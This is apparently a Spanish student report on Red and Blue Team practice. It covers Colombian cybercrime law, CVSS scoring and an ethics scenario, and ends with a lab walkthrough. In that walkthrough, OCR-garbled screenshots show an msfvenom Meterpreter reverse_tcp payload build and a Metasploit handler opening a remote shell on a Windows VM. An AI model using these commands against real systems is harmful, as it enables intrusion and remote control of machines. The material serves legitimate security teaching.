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RESUMEN

En este informe se destaca la importancia critica de fortalecer las estrategias en
los equipos de Blue y Red Team. Para ello, se analizardn las principales
caracteristicas y responsabilidades de cada equipo, se presentaran ejemplos
concretos de su aplicacion en la practica y se formulardn recomendaciones
especificas para mejorar los procesos y la seguridad de la informacion.

Palabras claves: Ataque, Ciberseguridad, Pentesting, Team, Vulnerabilidad



ABSTRACT

This report highlights the critical importance of strengthening strategies in Blue and
Red Teams. To do this, the main characteristics and responsibilities of each team
will be analyzed, concrete examples of their application in practice will be
presented, and specific recommendations will be formulated to improve processes
and information security.

Keywords: Attack, Cybersecurity, Pentesting, Team, Vulnerability



GLOSARIO
Ciberseguridad: Tejido invisible que protege la informacion digital.
Vulnerabilidad: Huella digital que deja una puerta entreabierta.
Ataque: Asedio virtual para conquistar informacion o causar dafo.
Equipo Red Team: Simula ataques para mejorar seguridad.
Equipo Blue Team: Defiende contra ataques cibernéticos.
Explotacion sexual infantil: Beneficio sexual a cambio de dinero, bienes o servicios
Cibercrimen: Delito usando tecnologias de la informacion.

Payload: Carga util que se ejecuta en el sistema objetivo para obtener acceso o
control.

Pentesting: Pruebas de penetracion para identificar vulnerabilidades en un
sistema.

Nmap: Herramienta para mapear redes y escanear puertos abiertos

Phishing: Suplantaciéon de identidad para engafiar a la victima y obtener
informacion confidencial.

Purple Team: Equipo que combina las habilidades de los equipos Red Team y
Blue Team.



INTRODUCCION

El presente informe técnico tiene como objetivo principal abordar los conceptos
basicos en el contexto de los equipos de Blue Team y Red Team, teniendo en
cuenta los criterios legales y normatividad vigente. Se busca analizar la
complejidad de las aplicaciones y las deficiencias en las practicas de estos
equipos, con el fin de proponer estrategias para fortalecer su eficacia en la
proteccion de la informacion.

10



1 OBJETIVOS
1.1 OBJETIVO GENERAL

Fortalecer las estrategias de los equipos de Blue Team y Red Team para mejorar
la seguridad de la informacion.

1.2 OBJETIVOS ESPECIFICOS

e Examinar las fallas y deficiencias en los sistemas de computo.

e Evaluar la capacidad de respuesta y reaccion del equipo de Blue Team
frente a vulnerabilidades conocidas y actualizaciones de seguridad.

e Formular estrategias concretas para fortalecer los procesos de seguridad.

11



3.1.

2 DESARROLLO DEL INFORME

3 ESCENARIO 1

MARCO REGULATORIO COLOMBIANO SOBRE DELITOS
INFQRMATICOS Y PROTECCION DE DATOS PERSONALES:
ANALISIS DE LAS LEYES 1273 DE 2009 Y 1581 DE 2012.

La Ley 1273 de 2009, plantea por primera vez de manera explicita la
adecuacion tipica de Delitos Informéticos y proteccion del bien juridico
tutelado que es “de la proteccion de la informacion y de los datos”
(Congreso de la Republica de Colombia, 2009) sin embargo, no regula
mecanismos de proteccion al consumidor de productos financieros. Algo
semejante ocurre, con la entrada en vigor de la Ley 1341 de 2009 “por la
cual se definen principios y conceptos sobre la sociedad de la informacion y
la organizacién de las Tecnologias de la Informacion y las Comunicaciones
—TIC—, se crea la Agencia Nacional de Espectro” (Congreso de la republica,
2009). Esta ultima constituye un referente, en materia de proteccioén a los
usuarios del espectro electromagnético y en particular para los usuarios del
ciberespacio y en las acciones y actos de comercio enmarcadas en el
ciberespacio.

El 5 de enero de 2009, el Congreso de la Republica de Colombia promulgé
la Ley 1273 “Por medio del cual se modifica el Cédigo Penal, se crea un
nuevo bien juridico tutelado — denominado “De la Proteccion de la

informacion y de los datos”- y se preservan integralmente los sistemas que

12



utilicen las tecnologias de la informacién y las comunicaciones, entre otras

disposiciones”. !

Dicha ley tipificO como delitos una serie de conductas relacionadas con el
manejo de datos personales, por lo que es de gran importancia que las
empresas se blinden juridicamente para evitar incurrir en alguno de estos
tipos penales.

No hay que olvidar que los avances tecnologicos y el empleo de estos para
apropiarse ilicitamente del patrimonio de terceros a través de clonacion de
tarjetas bancarias, vulneracion y alteracion de los sistemas de computo
para recibir servicios y transferencias electronicas de fondos mediante
manipulacion de programas y afectacién de los cajeros automaticos, entre

otras, son conductas cada vez mas usuales en todas partes del mundo.

En lo que corresponde a la legislacion colombiana, puede reconocerse con
ocasion de la expedicion de la Ley 1273 de 2009,) existe un punto de
inflexion sobre el tratamiento punitivo del asunto en cuestién, ya que es por
la misma, que se modifica el Cddigo Penal Colombiano, Ley 599 de 2000,
creando un nuevo bien juridico tutelado, denominado "de la proteccién de la
informacion y de los datos" y se toman medidas concernientes a la

proteccion integral de los sistemas que usan TIC.

De ahi la importancia de esta ley, que adiciona al Cédigo Penal colombiano
el Titulo VII BIS denominado «De la Proteccion de la informaciéon y de los
datos» que divide en dos capitulos, a saber: “De los atentados contra la
confidencialidad, la integridad y la disponibilidad de los datos y de los
sistemas informaticos” y “De los atentados informaticos y otras

infracciones”.

! LEYES DESDE 1992 - Vigencia expresa y control de constitucionalidad [LEY_1273_2009]
[Andnimo]. SECRETARIA GENERAL DEL SENADO [pagina web]. [Consultado el 15, febrero,
2024]. Disponible en Internet: http://secretariasenado.gov.co/senado/basedoc/ley 1273 2009.html
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En el que se consigna como delitos; el acceso abusivo a un sistema
informatico; la obstaculizacion ilegitima de sistema informatico o red de
telecomunicacion; la interceptacion de datos informaticos; el dafo
informatico; el uso de software malicioso; la violacion de datos personales;
y la suplantacién de sitios web para capturar datos personales. El Congreso
de Colombia decreta la adicion al Cédigo Penal del titulo VII bis, “De la
proteccion de la informacion y de los datos”, el cual se compone
Unicamente de dos capitulos, a saber: El delito informético con mayor pena
de prision en Colombia es el hurto por medios informéticos y semejantes, el
cual consiste en superar medidas de seguridad informaticas para
apoderarse de una cosa mueble ajena, con el fin de obtener provecho para
si 0 para otro, mediante la manipulacion de un sistema informatico, una red
de sistema electronico, telemético u otro medio semejante o mediante la
suplantacién de un usuario ante sistemas de autenticacion y de autorizaciéon

establecidos (Congreso de la Republica de Colombia, 2009).

3.2. ANALISIS DETALLADO DE LA ETAPA DE FOOTPRINTING EN
PENTESTING: HERRAMIENTAS Y SIGNIFICADO EN
CIBERSEGURIDAD.

Término empleado en ciberseguridad para referirse a la recoleccion de
informacion de un sistema, susceptible de ser empleada en un ciberataque.
Dicha informacion se suele encontrar disponible generalmente en canales
de acceso publico, como buscadores de Internet. El footprint es el rastro
dejado por el concepto que se pretende investigar y que define en mayor o

menor medida un sistema, red o empresa?.

Las metodologias de intrusion y Testing son los procedimientos, practicas y

técnicas que se utilizan para evaluar el estado de conformidad de la

2 GLOSARIO de Ciberseguridad | MNEMO [An6nimo]. MNEMO | Ciberseguridad, Transformacion
Digital [pagina web]. [Consultado el 15, febrero, 2024]. Disponible en Internet:
https://mnemo.com/glosario-ciberseguridad/
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infraestructura tecnoldgica a nivel de seguridad, simulando un ataque real
por parte de un hacker malicioso. El objetivo es identificar y explotar las
vulnerabilidades que puedan comprometer la integridad, confidencialidad o
disponibilidad de la informacién o los recursos. Existen diferentes tipos y
metodologias de intrusién y Testing, segun el grado de conocimiento previo,

el origen del ataque, el alcance y la profundidad del analisis

Encontrard vulnerabilidades dentro de un entorno de objeto definido:

e Se aplicar pruebas de penetracién centradas en la seguridad de un
area especifica definida para las pruebas.
e Se tienen conocimiento de metodologias especificas en pentesting
e Es preciso en identificar “como” y “cuando” ejecutarlas por cada
tecnologia.
Las considero importantes toda vez que con un enfoque ético de pruebas
de seguridad donde profesionales autorizados simulan ataques para
identificar vulnerabilidades. El objetivo es mejorar la seguridad al descubrir
y corregir debilidades antes de que puedan ser explotadas de manera

malintencionada.

EXPLORACION DE METASPLOIT Y USO DE CVES EN LA
CIBERSEGURIDAD.

Una vulnerabilidad de seguridad se puede ver como el punto de partida de todo el
proceso que implica la seguridad en general.

Una vulnerabilidad permite, de alguna manera, a los atacantes alterar el
comportamiento normal de un programa.

Una vulnerabilidad esta definida:

1. Producto >>> aplicacion, dispositivo, sistema de informacion, o sistema de

comunicacion afectado.
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2. Donde >>>> que componente es afectado por la presencia de la
vulnerabilidad.

3. Causa >>>> el fallo técnico concreto (DoS, Hombre en medio, perdida de
tramas, instalacion de un cédigo malicioso...... )-

4. Impacto >>>> el gravo de gravedad (leves, medio, alto, critica).

5. Vector >>> Técnica de ataque (ataque pasivo, activo, intrusion en la red,
intercepcion en el intercambio de manos).

Los conceptos de seguridad en Sistemas de informacion nacen de la adecuada
definicion de ataques, amenazas y riesgos a los que puede dar lugar una
vulnerabilidad?®.

Figura 1 El ciclo de la vulnerabilidad: De la amenaza al riesgo

explota una )
Ataque Vulnerabilidad
explota comporta
una un
Amenaza Riesgo
aumenta el

Fuente: https://es.slideshare.net/moplin/gestin-de-vulnerabilidades

Las vulnerabilidades estan siendo estudiadas por los delincuentes y los expertos
para atacar un sistema y para proteger un sistema, para ello hay diferentes formas
de recopilar, catalogar y publicar una vulnerabilidad.

3 ;QUE ES una vulnerabilidad en seguridad informéatica? Ejemplos [Andnimo]. Blog HostDime
Peru, Servidores dedicados [pagina web]. [Consultado el 15, febrero, 2024]. Disponible en Internet:
https://www.hostdime.com.pe/blog/que-es-una-vulnerabilidad-en-seguridad-informatica-ejemplos/
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Figura 2 CVE: El lenguaje universal de las vulnerabilidades

CVE

Common Vulnerabilities And
Exposure

Fuente: https://www.abbr.com/images/79778 CVE.png

Figura 3 Ciclo de vida de una vulnerabilidad.

o Difusion de
il JEE i prcne e
actualizacion

Fuente: Elaboracion propia.

CVSS distingue entre tres métricas basicas.

Métrica base, esta mide aspectos de la vulnerabilidad constantes en el tiempo y
entorno en que se puede dar la explotacion de esta, estas métricas
proporcionan un valor que se expresa como vector:

AV[L,A,NJ/AC:[H,M,LJ/Au:[M,S,N]J/C:[N,P,CJ/I:[N,P,CJ/A:[N,P,C].

Actualmente se definen dos variantes de métrica V2.0 y V3.0, esta es un ejemplo
de CVE 2.0; la vulnerabilidad CVE-2002-0392 tiene el siguiente vector base:

AV:N/AC:L/Au:N/C:N/I:N/A:C

Figura 4 Descripcion del Vector.
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Vector de acceso (AV) Como se explota la vulnerabilidad. Puede ser localmente (L), desde una red
adyacente (A) o desde cualquier red (N).

Complejidad de acceso Complejidad que requiere el atacante una vez ha accedido al sistema. Esta
[AC) puede ser alta (H), media (M) o baja (L).
Autenticacion (Au) Nimero de veces que el atacante debe autenticarse contra un sistema.

Pueden ser multiples (M), una (S) o ninguna (N).

Impacto de confidencialidad
(c) Tres indicadores sobre el impacto que puede tener la vulnerabilidad en estaos
Impacto de integridad (1) tres pilares de la S. Informacién del sistema.

Para cada uno los valores puede ser: ninguno (N}, parcial (P) o completo (C).

Impacto de disponibilidad (4)

Fuente: Elaboracion propia.

Figura 5 Herramientas.

O Nessus

Open Vulnerability Assessment Scanner

.. OpenVAS

Fuente: https://fferia.wordpress.com/nessus/

3.4. CONFIGURACION Y ANALISIS DE ESCENARIO: BANCO DE TRABAJO
PARA ACTIVIDADES DE ALTA TECNICIDAD.
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Figura 6 Ambiente de trabajo
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Figura 7 Configuracion maquinas virtuales
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Figura 8 Maquina Windows
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Fuente: Elaboracion propia.

Figura 9 Maquina LINUX
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4 ESCENARIO 2

41. (QUE PARRAFOS CREE USTED QUE SE TORNAN ILEGALES
DENTRO DEL ACUERDO DE CONFIDENCIALIDAD?

La Constitucion de 1991 se encuentra enmarcada en la filosofia de la
subordinacion de la ley a los valores y principios que fueron convalidados por el
consenso politico (art. 4°), el respeto por la dignidad humana, la igualdad, el
debido proceso y demas garantias y derechos ciudadanos, los cuales se
constituyen en las guias estatales en procura de sus fines.

El principio de legalidad y la funciéon publica asociada a la sociedad de la
informacion, representa la consolidacion de estos en todos los ambientes y nuevos
escenarios que otorgan los ambientes virtuales, que a pesar del anonimato propio
de la mayoria de los proceso digitales, se procura por mantener los principios
constitucionales ademas que éticos y morales, sobre la informacién reservada y
personal de una persona en sistemas informéaticos, redes y bases de datos, a los
cueles se les debe brindar la proteccion en el entorno que vaya migrando en
paralelo a las tecnologias.*

4.2. PROCESO ILEGAL EN EL ANEXO 3

Constituyendo un referente relevante a la hora de establecer actividades que
contrarresten los problemas y desafios identificados siendo base fundamental para
los objetivos establecidos en la presente guia se analiza los siguiente:

La ratificacion por parte del Estado Colombiano del Convenio celebrado por
Naciones Unidas en Budapest en el afio 2019, se consolidé la formulaciéon de una
politica de Estado dirigida a implementar estrategias para fortalecer los datos
personales frente al aumento del cibercrimen tras el auge del consumo virtual de
productos financieros.

Una de estas medidas implementadas por el Estado Colombiano, es la
criminalizacion a través de la creacién de tipos penales, cuyo contenido especifico
se dirige a prevenir y castigar las conductas relacionadas con la ciberseguridad.
Estos tipos penales se encuentran consignados en el ordenamiento juridico
colombiano en los siguientes apartados del cédigo penal:

e Articulo 269A: Acceso abusivo a un sistema informatico. El que, sin
autorizacion o por fuera de lo acordado, acceda en todo o en parte a un
sistema informético protegido o no con una medida de seguridad, o se

4 Corte Constitucional de Colombia | Guardian de la Constitucion. [pagina web]. [Consultado el 15,
febrero, 2024]. Disponible en Internet: https://www.corteconstitucional.gov.co/inicio/Constitucion-
Politica-Colombia-1991.pdf
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mantenga dentro del mismo en contra de la voluntad de quien tenga el
legitimo derecho a excluirlo, incurrira en pena de prision de cuarenta y ocho
(48) a noventa y seis (96) meses y en multa de 100 a 1.000 salarios
minimos legales mensuales vigentes(Congreso de la Republica de
Colombia, 2000).

e Articulo 269C: Interceptacion de datos informaticos. El que, sin orden
judicial previa intercepte datos informéticos en su origen, destino o en el
interior de un sistema informatico, o las emisiones electromagnéticas
provenientes de un sistema informatico que los transporte incurrird en pena
de prision de treinta y seis (36) a setenta y dos (72) meses (Congreso de la
Republica de Colombia, 2000).

e Articulo 269B: Obstaculizacion ilegitima de sistema informético o red de
telecomunicacion. El que, sin estar facultado para ello, impida u obstaculice
el funcionamiento o el acceso normal a un sistema informatico, a los datos
informaticos alli contenidos, o a una red de telecomunicaciones, incurrird en
pena de prision de cuarenta y ocho (48) a noventa y seis (96) meses y en
multa de 100 a 1000 salarios minimos legales mensuales vigentes, siempre
gue la conducta no constituya delito sancionado con una pena mayor
(Congreso de la Republica de Colombia, 2000)

e Articulo 269F: Violacion de datos personales. El que, sin estar facultado
para ello, con provecho propio o de un tercero, obtenga, compile, sustraiga,
ofrezca, venda, intercambie, envie, compre, intercepte, divulgue, modifique
0 emplee cbdigos personales, datos personales contenidos en ficheros,
archivos, bases de datos o medios semejantes, incurrira en pena de prision
de cuarenta y ocho (48) a noventa y seis (96) meses y en multa de 100 a
1000 salarios minimos legales mensuales vigentes (Congreso de la
Republica de Colombia, 2000).

Asi las cosas, De acuerdo con la opinién de la Red Iberoamericana de Proteccion
de datos, a pesar de los intentos de la legislacion colombiana por establecer
mecanismos efectivos para garantizar la proteccion de los usuarios y
consumidores virtuales, dada su naturaleza volatil y difusa en la que se enmarca el
Cibercrimen, estas medidas resultan insuficientes (Red Iberoamericana de
Proteccion de datos, 2020).

En otras palabras, deben identificarse los principales elementos y modalidades de

ejecucion del ciberdelito, con el fin de lograr disefar instrumentos prospectivos
gue incidan directamente en los niveles de comision de estos.
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43. ACEPTAR O NO EL CONTRATO EN CASO DE ENCONTRAR
PROCESOS ILEGALES EN EL ACUERDO DE CONFIDENCIALIDAD.

El uso de las tecnologias de la informacion y las telecomunicaciones exige de los
que tenemos la oportunidad de ser especialistas en el tema, en relacion con las
personas y empresas de un entorno donde se maneje informacion confidencial
sensible y privada, se van focalizado en conceptos de transparencia e integridad
de los expertos que conllevan cero tolerancia hacia el aprovechamiento indebido
de las funciones en cualquiera que sea los cargos y responsabilidades asignadas,
el abuso de poder y del conocimiento, y en general, respecto a aquellas conductas
que violan los intereses del particular con una excusa de politicas empresariales,
al contrario se de procurar por perseguir temas indebidos de caracter particular en
los procesos liderados por los todos los sectores y autoridades, donde se hace
necesario intervenir para prevenir conflictos de intereses y por supuesto denunciar
con el propésito de que se disminuyan estan conductas ilegales, NO aceptaria el
cargo.

4.4. DECISION FINAL.

Figura 10. Evidencia Articulo Capturan a distribuidor de pornografia infantil.
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Fuente:https://www.elespectador.com/judicial/capturan-a-distribuidor-de-
pornografia-infantil-article-560937/

Un problema que agobia a la humanidad y afecta en especial a los nifios, nifias y
adolescentes, quienes son instrumentalizados para la produccion de material de
abuso sexual infantil y la carencia en la autoridades de Colombia para investigar,
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este es un problema global en cual se requieren acciones que permitan mitigar
este flagelo desde la prevencion y judicializacion de los cibercriminales, que cada
vez mas por el uso del internet y de los programas que se pueden instalar en los
computadores y la masificacion de las redes sociales que coexisten, permiten
mayor campo de acciéon para cometer los ilicitos y le genera mayor seguridad para
no ser descubiertos.

La posibilidad de realizar comportamientos criminales al margen del espacio fisico
se hace presente con el desarrollo de las nuevas tecnologias, y se crea de este
modo una compleja problematica en el ambito jurisdiccional. En esta linea, para
hacer frente a esta nueva ola de comportamientos tipicos. Uno de los problemas
fundamentales ligados al desarrollo y evolucion de las nuevas tecnologias atafie a
la necesidad de implementar programas de actuacion en la erradicacién de todos
aquellos delitos relacionados con las redes. En este sentido, son distintos los
aspectos objeto de tratamiento; esto es, desde los organismos encargados de
intervenir en la lucha contra el crimen, o las politicas de prevencion que se deben
llevar a cabo, hasta aquellos colectivos de especial vulnerabilidad, los cuales,
entiendo, debieran gozar de un tipo de proteccion especial.

Importante tener en cuenta que una caracteristica importante de los sujetos
activos en el cibercrimen es su creciente anonimato, propiciado no solo por las
modernas técnicas de encriptacion o cifrado, el uso de datos pseudonimizados
que permiten separar los mensajes de la identidad del emisor, dificultar el sentido
de los mensajes o0 el empleo de sistemas que entorpecen la trazabilidad de las
acciones del atacante en los sistemas vulnerados; sino también, por la enorme
dificultad para determinar la relacion entre el uso de un equipo informatico que se
conecta mediante una determinada IP y un criminal. Ello sin contar con la
posibilidad de suplantar a un usuario legitimo mediante el uso de software de
efectos dafiinos cuando se utilizan redes Wifi.

5 ESCENARIO 3

5.1. ¢DESCRIBA DE MANERA ESPECIFICA LAS HERRAMIENTAS
SOFTWARE QUE UTILIZO PARA LLEVAR A CABO EL ANEXO 4 -
ESCENARIO 3 ENFOCADO A REDTEAM?

En el presente informe de contexto académico se utilizaron las herramientas vistas
durante el transcurso de la materia, pero en especial la Maquina VirtualBox
version junto a la herramienta combinado con Nmap y Metasploit Framework, asi
como Metasploitable2, que en este caso simula la organizacion para la cual
estamos realizando la consulta de Pentesting.

24



Una vez, contando con los permisos que la organizaciébn nos ha concedido,
procedemos a intentar ingresar, aprovechando esta vulnerabilidad, obteniendo los
resultados esperados para el desarrollo de la actividad.

Una vulnerabilidad de seguridad se puede ver como el punto de partida de todo el
proceso que implica la seguridad en general, su presencia puede permitir alterar el
comportamiento normal de un programa (realizar algo malicioso como alterar
informacion sensible, interrumpir o destruir una aplicacion o tomar su control).

5.2. A CONTINUACION, LISTE Y DESCRIBA LOS DATOS E
INFORMACION DEL ANEXO 4 — ESCENARIO 3 QUE LE FUERON DE
AYUDA PARA IDENTIFICAR EL FALLO DE SEGURIDAD
ESPECIFICO EL CUAL ATACA A LA MAQUINA WINDOWS 10 X64.

Con el propésito de evidenciar una efectiva defensa de los equipos de Blue Team,
focalizados en la seguridad defensiva, protegiendo los sistemas y sobre todo los
datos, contra los riesgos que representa las diferentes amenazas cibernéticas,
monitoreando la red, deteccidon oportuna y generar respuesta efectiva a los
incidentes que afecten la politica de implantacion de una entidad la clasificacion de
las vulnerabilidades y su respectiva gestion.

Analizando dichos focos se tuvo en cuenta informes estandarizados de las
metodologias y las entidades, de las cuales se extrajo, lo items, procedimientos y
funciones de estos profesionales, con el fin de clasificar y evaluar las taras para
individualizar y priorizar las estrategias.

5.3. ¢QUE HERRAMIENTA UTILIZO PARA PODER IDENTIFICAR LOS
FALLOS DE SEGURIDAD DE LA “MAQUINA WINDOWS 10”? ;QUE
PUERTO ABRE LA APLICACION ESPECIFICA EN EL ANEXO?

Las pruebas de penetracion son practicas, actividades o acciones que se realizan
sobre un sistema informatico a través de diferentes herramientas, que tienen por
objetivo encontrar vulnerabilidades, que puedan hallarse en el mismo.

Cuando una organizaciéon acude a estas practicas son llevadas a cabo por
personal idoneo preferiblemente con certificacién en ética profesional pues lo que
se trata es de acceder a los sistemas de informacion utilizando diferentes técnicas,
que pueden llegar a ser concluyentes.

Dentro del sistema de informacion se pueden implementar aplicaciones en
software que pueden ser programables para que las mismas sean automaticas,
que buscan encontrar esas fisuras de seguridad que pueden ser aprovechadas
por entes internos o externos.
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A esta actividad se le conoce como pentesting que estas compuesto por dos
palabras, una es penetracion y la otra de test, cuyo objeto es determinar si las
politicas de seguridad de la informaciéon que buscan la autenticidad, integridad y
confidencialidad se conserven dentro de una organizacion.

Mientras el escaneo de vulnerabilidades esta enfocado en la transmision de datos
y la manera en que los mismos pasan por las diferentes capas, aplicado en
software y hardware cuyo fin es determinar la existencia de alguna vulnerabilidad y
si la misma es interna o externa a la organizacion, por otra parte, una prueba de
penetracion puede tener otro tipo de contexto, ya que en la prueba de penetracion
se observa desde la implementacion de las Politicas de Seguridad, confirman su
eficiencia, la eficacia, por ende las mismas no son solo en software o hardware,
sino que contemplan otras variables que se encuentran contenidas dentro de las
politicas de la organizacion.

Nmap es una herramienta de mapeo de redes. En este caso nos interesa conocer
los puertos que se encuentren abiertos, por lo que utilizamos las siguientes flags o
argumentos:

e -A: Habilita la deteccién de SO y de versién, es decir, va a intentar conocer
el sistema operativo que esta corriendo nuestro objetivo, junto al servicio
asignado a cada puerto y su version.

e -p- : Escanea absolutamente todos los puertos. Por defecto, nmap solo
escanea los puertos mas comunes, pero puede que haya otros que
contengan informacion.

Para este ejercicio el puerto 443 es el puerto HTTPS por defecto, este puerto este
asociado a las comunicaciones de las redes seguras. Utiliza el protocolo HTTPS,
gue es la version segura de HTTP. Para este protocolo se incorpora protocolos de
seguridad mas fuertes.

El puerto 443 utiliza protocolos TLS para proporcionar una conexion segura entre
el cliente y el servidor. De este modo, cualquier dato transmitido a través de este
puerto se encripta, lo que garantiza una conexion segura y protege la informacion
de posibles fisgones.

Este puerto es esencial para los sitios web de comercio electronico y banca en
linea, donde se transmiten datos confidenciales como numeros de tarjetas de
crédito y datos bancarios.

El puerto 443 también se utiliza para otros servicios que requieren conexiones

seguras, como los servidores de correo electronico y las VPN. Esta amplia gama
de aplicaciones hace del puerto 443 una parte integral de una red segura.
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5.4. EXPLIQUE CON SUS PALABRAS Y DE MANERA ESPECIFICA
COMO AFECTA EL ATAQUE A LA MAQUINA (WINDOWS 10 X64),
HAGA USO DE GRAFICOS PARA EXPLICAR EL ATAQUE.

Para fortalecer los procesos que contribuya a la reduccion de los riesgos, se
establecieron instrumentos de recoleccion de informacion los cuales, permiten
establecer los parametros esenciales para estructurar de una manera adecuada y
acorde a las necesidades, recopilando informacion como experto en
ciberseguridad, para continuar analizando los datos recopilados, después de
realizar cuantificacion y la decodificacion de los instrumentos de recoleccion de
informacion.

El analisis se focalizandose en sus componentes tecnolégicos que permitan las
conexiones de los equipos terminales con los servidores y a su vez la trasmision
en tiempo real de la informacion.

Gestionar las debilidades del sistema, a la entidad siempre estara acompafada de
soluciones oportunas que garanticen menor porcentaje de riesgo dedicado a tratar
las fragilidades del sistema Windows el cual le fueron desactivados todas las
herramientas de proteccion.

5.5. DEBERA DOCUMENTAR Y ADJUNTAR LOS COMANDOS
UTILIZADOS Y EXPLICAR LA ESTRUCTURA DESARROLLADA
PARA EL PAYLOAD ADEMAS DE LOS COMANDOS PARA
EJECUTAR EL PAYLOAD.

Se evidencia la instalacion de las maquinas necesarias para el ejercicio:
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Figura 11 Entorno de trabajo 2
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Fuente: Elaboracion propia.
Se videncia la desactivacion de la seguridad de la maquina Windows.
Figura 12 Desactivacion de la proteccion
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Fuente: Elaboracion propia.
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Figura 13 Configuracién de proteccion
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Fuente: Elaboracion propia.

Figura 14 Proteccion de vulnerabilidades
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Fuente: Elaboracion propia.
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Se evidencia los IP de las maquinas necesarias para el ejercicio de las cuales
necesitamos las direcciones IP.

Figura 15 Consulta IP
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Fuente: Elaboracion propia.

Figura 16 Resultados consultas IP

root@kali: /home/kali

File Actions Edit View Help

=73<UP,LOOPBACK, RUNNING> mtu 655

inet 127.0.0. 2 ¢

ineté L id ox
Loopback

/home/kali
1
orfa type: EN1OMB, MAC: 08:00:27:cb:7e:
= Cannot op dor file ieee-oui

"the quieter you become, the m
10

File System

(Unknow:
(Unknc

dropped by k
n 1.10.6 s ed in 2.035 secor

/home/kali

@0We o B gl® 8w omecn

Fuente: Elaboracion propia.
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Se evidencia la creacion del archivo PAYLOAD, que vamos a ejecutar.

Figura 17 Comandos del archivo
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f windows/x64/meterpreter/reverse_tcp 1 windows -a x64 LHOST=192.168.0.153 LPORT=443 —f exe /home/kali/De
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No encoder specified, outputting raw payload
Payload size: 510 bytes
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Fuente: El autor

Paso 3: Una vez Windows tenga el archivo .exe creado por msfvenom
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Fuente: Elaboracion propia.

Se verifica la ruta del archivo que vamos a ejecutar.
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Figura 18 Comandos ruta del archivo
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Fuente: Elaboracion propia.

Se evidencia la ubicacion del archivo en la maquina Windows.

Figura 19 PAYLOAD en la maquina windows
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= £ Buscar - ~ =i eA - [~ . G &= R R =D 3/13/2024 ‘\,

Fuente: Elaboracion propia.

Se evidencia el escaneo de vulnerabilidades.
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Figura 20 Escaneo

root@kali: home/kali

File Actions Edit View Help
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Fuente: Elaboracion propia.

Figura 21 Configuracion
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File Actions Edit View Help
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Nmap scan report for 10.0.
File System up (0.00072s later
: filtered tcp ports (no-response)
STATE SERV VE
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Fuente: Elaboracion propia.
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Figura 22 ejecucion

root@kali: /home/kali

File Actions Edit View Help

/home/kali

LA [

"the quieter you become, the m«

B h@o 8 Y@ e croomeon

Fuente: Elaboracion propia.

Figura 23 Acceso

&
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Fuente: Elaboracion propia.
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Figura 24 Acceso 2

0]
B e
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Fuente: Elaboracion propia.

Evidenciamos la ejecucion de la herramienta metaexploit.

Figura 25 Ejecucion herramienta

=P F~ 3 | ‘e

Kali Linux X 1 RV: actividad seminario - X Guiia de actividades y ruibric X~ Anexo4 - Escenario3.pdf X @ Google

C @ O D file:///home/kali/Downloads/Anexo 4 - Escenario 3.pdf
KaliLinux e\ KaliTools X KaliDocs ¥ Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec
e8] A 4 | of4 + 200%

burtonz@Kalk: ~

root@kali: /var/www/html/juan

Actions Edit View Help

liary - 416 post
s - 11 nops

s.metasploit

& o B G] @ @ cre derecHA

Fuente: Elaboracion propia.
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Se ejecuta el comando propuesto para obtener el acceso a la maquina Windows.

Figura 26 Comandos herramienta

B EeEPRO |1 2 3 4 |pp 0 5 | ¢ A G103 | @ G

® | KaliLinux 1 RV: actividad seminario - X  Guiia de actividades y ruibric X  Anexo4 - Escenario3.pdf X @ Google

= C @ QO D file:///home/kali/Downloads/Anexo 4 - Escenario 3.pdf
KaliLinux & KaliTools X KaliDocs N Kali Forums & Kali NetHunter Exploit-DB Google Hacking DB OffSec
| 4| of4 — 4+ 200%

burtonz@Kall: ~

root@kali: fvar/www/html/juan

File Actions Edit View Help

416 post
- 11 nops

loit.com/
se exploit/multi/handler

nfigured payload generic/shell_reverse_tcp
it( )

B0 &P B gl @ cr oerecHa

Fuente: Elaboracion propia.

Figura 27 Comandos herramienta 2

i@
B o@mP o 3 . 0 B | O ® A& @823
® | KaliLinux X 1 RV: actividad seminario - X Guila de actividades y ruibric X Anexo4-Escenario3.pdf X @ signoigual-Buscarcon X + Vv

S C @ O D file:///Ihome/kali/Downloads/Anexo 4 - Escenario 3.pdf 8 %
Kali Linux X Kali Tools X KaliDocs X Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB
@ A 4ot 160%

burtonz@Kali- - burtonz@Kalk: ~

root@kali: fvar/www/html/juan
File Actions Edit View Help

set payload windows/x6 terpr _http set payload windo terpreter/r: e_tcp_rck
set payload window r rse_https set payload wind eterpre reverse_tcp_uuid
set payload window e = load w winhttp
set payload window eterpr: y reverse_winhttps
msf6 exploit( ,

payload = windows/x64/meterpreter/r

msf6 exploit( ) > 1

& o B G S @ crre perecHa

Fuente: Elaboracion propia.
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Figura 28 Ingreso

Semb 23 4|@R O R il o6 e aEs|a

® | KaliLinux 1 RV: actividad seminario Guila de actividadesy ruibric X Anexo4-Escenario3pdf X @ signoigual-Buscarcon( X + Vv

€ 30 O M ElnclllhnmnllaliNaumnlande/Anava A Crrnnarin 3 ndf (S
root@kali: fvar/www/html/juan
Kalilink ¢ Eie actions Edit View Help

(El] / set payload windows/x64/meterpreter/reverse_named_pipe set payload windows/x64/meterpreter/reverse_winhttp
set payload windows/x64/meterpreter/reverse_tcp set payload windows/x64/meterpreter/reverse_winhttps
msf6 exploit( ) > set payload windows/x64/meterpreter/reverse_tcp
payload = windows/x64/meterpreter/reverse_tcp
msf6 exploit( ) > set lhost 192.168.0.153
lhost = 192.168.0.153
msf6 exploit( Y |

W&o 188G 6 cm verecia

Fuente: Elaboracion propia.

Figura 29 Control

imP O] 2 i )
Kali Linux X X X Anexo4-Escenario3.pdf X @ signo igual - Buscar co

(6]
root@kali: fvar/www/html/juan
KaliLinux ¢ File Actions Edit View Help
6 ploit( > /meterpre’
payload = windows/x64/meterpr
exploit(
st = 192.16
exploit(
= 443
msf6 exploit(

FEIEEN G o

Fuente: Elaboracion propia.
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Obtenemos el acceso remoto a la maquina Windows.

Figura 30 Control de la maquina Windows

IEr L EEE

o St root@kali: /var/www/html/juan

File Actions Edit View Help

< C exploit( ) > set payload windows/x64/meterpreter/reverse_tcp
payload = windows/x64/meterpreter/reverse_tcp
KaliLinux ¢ msf6é exploit( ) > set lhost 192.168.0.153
lhost = 192.168.0.153
58] ~ msf6 exploit( ) > set lport 443
lport = 443
msf6 exploit( ) > exploit
Started reverse TCP handler on 192.168.0.153:443
Sending stage (200774 bytes) to 192.168.0.104
Meterpreter session 1 opened (192.168.0.15! — 192.168.0.104:52591) at

meterpreter > I

B0 h&o B gl @ cr oerecHa

Fuente: Elaboracion propia.

